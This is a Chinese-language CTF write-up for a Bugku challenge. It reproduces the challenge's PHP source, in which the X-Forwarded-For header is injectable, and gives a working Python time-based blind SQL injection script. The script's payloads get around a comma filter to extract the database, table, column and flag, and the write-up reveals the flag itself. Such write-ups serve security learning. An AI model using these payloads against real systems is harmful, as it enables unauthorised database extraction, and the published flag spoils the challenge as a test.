这道题有一个坑卡了我贼久,单独拿出来记录一下。
原题
https://ctf.bugku.com/challenges#INSERT%20INTO%E6%B3%A8%E5%85%A5
源码分析
源码题目给出了:
<?php
error_reporting(0);
function getIp(){
$ip = '';
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
$ip = $_SERVER['HTTP_X_FORWARDED_FOR']; //XFF优先
}else{
$ip = $_SERVER['REMOTE_ADDR']; //否则REMOTE_ADDR
}
$ip_arr = explode(',', $ip); //过滤','
return $ip_arr[0];
}
$host="localhost";
$user="";
$pass="";
$db="";
$connect = mysql_connect($host, $user, $pass) or die("Unable to connect");
mysql_select_db($db) or die("Unable to select database");
$ip = getIp();
echo 'your ip is :'.$ip;
$sql="insert into client_ip (ip) values ('$ip')"; //insert into注入点
mysql_query($sql);
?>
观察源码可以看出,获取XFF中的IP,然后根据逗号切分,返回第一部分。这就意味着我们没办法使用逗号。
所以这里只能用基于时间的注入,注入点是XFF头。
在过滤了逗号的情况下,我们就不能使用if语句了,在mysql中与if有相同功效的就是:
select case when (条件) then 代码1 else 代码 2 end;
而且由于逗号,被过滤,我们就不能使用substr、substring了,但我们可以使用:from 1 for 1。
那么就开始注入吧。
注入
爆库:
#!/usr/bin/env python
import requests,time,string
characters = string.ascii_letters + string.digits + string.punctuation
max_length = 50
target = 'http://120.24.86.145:8002/web15/'
database = "'+(select case when (substring((select database() ) from {0} for 1)='{1}') then sleep(5) else 1 end) and '1'='1"
def get_database():
flag = ''
for i in range(1, max_length):
next_position = False
for char in characters:
payload = "'+(select case when (substring((select database() ) from %s for 1)='%s') then sleep(5) else 1 end) and '1'='1"%(i,char)
headers = {
'X-Forwarded-For': payload
}
try:
r = requests.get(target,headers=headers,timeout=4)
except requests.exceptions.ReadTimeout:
flag += char
print(flag)
next_position = True
break
if not next_position:
return flag
get_database()
说明一下为什么Payload里面最右边多了一个括号:这个是为了闭合源码中
INSERT INTO
里面的括号。
爆表:
payload = "'+(select case when (substring((select table_name from information_schema.tables where table_schema=database() limit 1 offset 1) from %s for 1)='%s') then sleep(5) else 1 end) and '1'='1"%(i,char)
爆字段:
payload = "'+(select case when (substring((select column_name from information_schema.columns where table_name='flag' limit 1) from %s for 1)='%s') then sleep(5) else 1 end) and '1'='1"%(i,char)
得flag
payload = "'+(select case when (substring((select flag from flag) from %s for 1)='%s') then sleep(5) else 1 end) and '1'='1"%(i,char)
得到flag:cdbf14c9551d5be5612f7bb5d2867853
(不愿意等就拿走吧 : D)